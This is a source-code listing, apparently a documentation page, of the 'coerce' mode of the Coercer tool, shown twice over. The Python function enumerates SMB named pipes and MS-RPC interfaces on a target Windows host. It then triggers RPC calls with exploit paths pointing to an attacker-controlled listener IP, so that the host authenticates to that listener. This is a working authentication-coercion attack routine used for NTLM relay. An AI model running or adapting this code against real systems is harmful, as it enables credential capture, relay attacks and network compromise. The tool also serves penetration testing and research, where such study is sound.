coercer.core.modes.coerce

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : coerce.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 18 Sep 2022
  6
  7
  8import time
  9from coercer.core.Filter import Filter
 10from coercer.core.utils import generate_exploit_path_from_template
 11from coercer.network.DCERPCSession import DCERPCSession
 12from coercer.structures.TestResult import TestResult
 13from coercer.network.authentications import trigger_authentication
 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface
 15
 16
 17def action_coerce(target, available_methods, options, credentials, reporter):
 18    reporter.verbose = True
 19
 20    filter = Filter(
 21        filter_method_name=options.filter_method_name,
 22        filter_protocol_name=options.filter_protocol_name,
 23        filter_pipe_name=options.filter_pipe_name
 24    )
 25
 26    # Preparing tasks ==============================================================================================================
 27
 28    tasks = {}
 29    for method_type in available_methods.keys():
 30        for category in sorted(available_methods[method_type].keys()):
 31            for method in sorted(available_methods[method_type][category].keys()):
 32                instance = available_methods[method_type][category][method]["class"]
 33
 34                if filter.method_matches_filter(instance):
 35                    for access_type, access_methods in instance.access.items():
 36                        if access_type not in tasks.keys():
 37                            tasks[access_type] = {}
 38
 39                        # Access through SMB named pipe
 40                        if access_type == "ncan_np":
 41                            for access_method in access_methods:
 42                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 43                                if filter.pipe_matches_filter(namedpipe):
 44                                    if namedpipe not in tasks[access_type].keys():
 45                                        tasks[access_type][namedpipe] = {}
 46
 47                                    if uuid not in tasks[access_type][namedpipe].keys():
 48                                        tasks[access_type][namedpipe][uuid] = {}
 49
 50                                    if version not in tasks[access_type][namedpipe][uuid].keys():
 51                                        tasks[access_type][namedpipe][uuid][version] = []
 52
 53                                    if instance not in tasks[access_type][namedpipe][uuid][version]:
 54                                        tasks[access_type][namedpipe][uuid][version].append(instance)
 55
 56    # Executing tasks =======================================================================================================================
 57
 58    if options.verbose:
 59        print("[+] Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip))
 60
 61    # Processing ncan_np tasks
 62    ncan_np_tasks = tasks["ncan_np"]
 63    for namedpipe in sorted(ncan_np_tasks.keys()):
 64        if can_connect_to_pipe(target, namedpipe, credentials):
 65            print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
 66            for uuid in sorted(ncan_np_tasks[namedpipe].keys()):
 67                for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()):
 68                    if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
 69                        print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
 70                        for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]):
 71
 72                            exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
 73
 74                            stop_exploiting_this_function = False
 75                            for listener_type, exploitpath in exploit_paths:
 76                                if stop_exploiting_this_function:
 77                                    # Got a nca_s_unk_if response, this function does not listen on the given interface
 78                                    continue
 79
 80                                exploitpath = generate_exploit_path_from_template(
 81                                    template=exploitpath,
 82                                    listener=options.listener_ip,
 83                                    http_listen_port=options.http_port,
 84                                    smb_listen_port=options.smb_port
 85                                )
 86
 87                                msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
 88                                dcerpc = DCERPCSession(credentials=credentials, verbose=True)
 89                                dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
 90
 91                                if dcerpc.session is not None:
 92                                    dcerpc.bind(interface_uuid=uuid, interface_version=version)
 93                                    if dcerpc.session is not None:
 94                                        reporter.print_testing(msprotocol_rpc_instance)
 95
 96                                        result = trigger_authentication(
 97                                            dcerpc_session=dcerpc.session,
 98                                            target=target,
 99                                            method_trigger_function=msprotocol_rpc_instance.trigger
100                                        )
101
102                                        reporter.report_test_result(
103                                            uuid=uuid, version=version, namedpipe=namedpipe,
104                                            msprotocol_rpc_instance=msprotocol_rpc_instance,
105                                            result=result,
106                                            exploitpath=exploitpath
107                                        )
108
109                                        if result == TestResult.NCA_S_UNK_IF:
110                                            stop_exploiting_this_function = True
111
112                                if options.delay is not None:
113                                    # Sleep between attempts
114                                    time.sleep(options.delay)
115
116                                if not options.always_continue:
117                                    next_action_answer = None
118                                    while next_action_answer not in ["C","S","X"]:
119                                        next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ")
120                                        if len(next_action_answer) > 0:
121                                            next_action_answer = next_action_answer.strip()[0].upper()
122                                    if next_action_answer == "C":
123                                        pass
124                                    elif next_action_answer == "S":
125                                        stop_exploiting_this_function = True
126                                    elif next_action_answer == "X":
127                                        return None
128                    else:
129                        if options.verbose:
130                            print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
131        else:
132            if options.verbose:
133                print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def action_coerce(target, available_methods, options, credentials, reporter):
 18def action_coerce(target, available_methods, options, credentials, reporter):
 19    reporter.verbose = True
 20
 21    filter = Filter(
 22        filter_method_name=options.filter_method_name,
 23        filter_protocol_name=options.filter_protocol_name,
 24        filter_pipe_name=options.filter_pipe_name
 25    )
 26
 27    # Preparing tasks ==============================================================================================================
 28
 29    tasks = {}
 30    for method_type in available_methods.keys():
 31        for category in sorted(available_methods[method_type].keys()):
 32            for method in sorted(available_methods[method_type][category].keys()):
 33                instance = available_methods[method_type][category][method]["class"]
 34
 35                if filter.method_matches_filter(instance):
 36                    for access_type, access_methods in instance.access.items():
 37                        if access_type not in tasks.keys():
 38                            tasks[access_type] = {}
 39
 40                        # Access through SMB named pipe
 41                        if access_type == "ncan_np":
 42                            for access_method in access_methods:
 43                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 44                                if filter.pipe_matches_filter(namedpipe):
 45                                    if namedpipe not in tasks[access_type].keys():
 46                                        tasks[access_type][namedpipe] = {}
 47
 48                                    if uuid not in tasks[access_type][namedpipe].keys():
 49                                        tasks[access_type][namedpipe][uuid] = {}
 50
 51                                    if version not in tasks[access_type][namedpipe][uuid].keys():
 52                                        tasks[access_type][namedpipe][uuid][version] = []
 53
 54                                    if instance not in tasks[access_type][namedpipe][uuid][version]:
 55                                        tasks[access_type][namedpipe][uuid][version].append(instance)
 56
 57    # Executing tasks =======================================================================================================================
 58
 59    if options.verbose:
 60        print("[+] Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip))
 61
 62    # Processing ncan_np tasks
 63    ncan_np_tasks = tasks["ncan_np"]
 64    for namedpipe in sorted(ncan_np_tasks.keys()):
 65        if can_connect_to_pipe(target, namedpipe, credentials):
 66            print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
 67            for uuid in sorted(ncan_np_tasks[namedpipe].keys()):
 68                for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()):
 69                    if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
 70                        print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
 71                        for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]):
 72
 73                            exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
 74
 75                            stop_exploiting_this_function = False
 76                            for listener_type, exploitpath in exploit_paths:
 77                                if stop_exploiting_this_function:
 78                                    # Got a nca_s_unk_if response, this function does not listen on the given interface
 79                                    continue
 80
 81                                exploitpath = generate_exploit_path_from_template(
 82                                    template=exploitpath,
 83                                    listener=options.listener_ip,
 84                                    http_listen_port=options.http_port,
 85                                    smb_listen_port=options.smb_port
 86                                )
 87
 88                                msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
 89                                dcerpc = DCERPCSession(credentials=credentials, verbose=True)
 90                                dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
 91
 92                                if dcerpc.session is not None:
 93                                    dcerpc.bind(interface_uuid=uuid, interface_version=version)
 94                                    if dcerpc.session is not None:
 95                                        reporter.print_testing(msprotocol_rpc_instance)
 96
 97                                        result = trigger_authentication(
 98                                            dcerpc_session=dcerpc.session,
 99                                            target=target,
100                                            method_trigger_function=msprotocol_rpc_instance.trigger
101                                        )
102
103                                        reporter.report_test_result(
104                                            uuid=uuid, version=version, namedpipe=namedpipe,
105                                            msprotocol_rpc_instance=msprotocol_rpc_instance,
106                                            result=result,
107                                            exploitpath=exploitpath
108                                        )
109
110                                        if result == TestResult.NCA_S_UNK_IF:
111                                            stop_exploiting_this_function = True
112
113                                if options.delay is not None:
114                                    # Sleep between attempts
115                                    time.sleep(options.delay)
116
117                                if not options.always_continue:
118                                    next_action_answer = None
119                                    while next_action_answer not in ["C","S","X"]:
120                                        next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ")
121                                        if len(next_action_answer) > 0:
122                                            next_action_answer = next_action_answer.strip()[0].upper()
123                                    if next_action_answer == "C":
124                                        pass
125                                    elif next_action_answer == "S":
126                                        stop_exploiting_this_function = True
127                                    elif next_action_answer == "X":
128                                        return None
129                    else:
130                        if options.verbose:
131                            print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
132        else:
133            if options.verbose:
134                print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)